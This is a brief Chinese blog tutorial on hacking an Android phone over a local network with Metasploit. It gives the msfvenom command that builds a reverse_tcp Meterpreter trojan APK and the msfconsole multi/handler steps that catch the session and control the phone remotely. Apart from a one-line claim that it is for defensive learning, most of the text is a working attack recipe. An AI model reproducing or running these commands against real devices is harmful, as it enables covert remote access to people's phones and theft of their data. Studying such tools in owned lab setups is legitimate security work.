【笔记】msf 黑入安卓系统

前言

使用msf工具黑入手机安卓系统(局域网)

本文仅用于网络信息防御学习

准备工作

  • 安卓手机

  • msf

开始测试

制作木马

查看本机ip地址

1
ifconfig

利用msf制作安卓木马

<ip_address>:本机局域网ip地址
<port>:自定义端口号,用于监听木马程序
<name>:安装包名称

1
msfvenom -p android/meterpreter/reverse_tcp LHOST=<ip_address> LPORT=<port> R> ~/Downloads/<name>.apk

启动msf监听木马程序

1
2
3
4
5
6
msfconsole 
use multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST <ip_address>
set LPORT <port>
exploit

启动木马程序

  • 安卓机和本机在同一局域网,安装并启动木马程序

  • 本机返回Meterpreter session 1 opened,监听成功

对手机进行远程操作

  • 查看帮助
1
meterpreter > help

完成

  • 成功黑入后可对手机进行远程操作

  • 展示三张成功黑入截图,留作纪念

后记

  • 本机返回Meterpreter session 1 closed,监听程序退出

参考文献

哔哩哔哩——Hai_Dog
哔哩哔哩——你会忘了我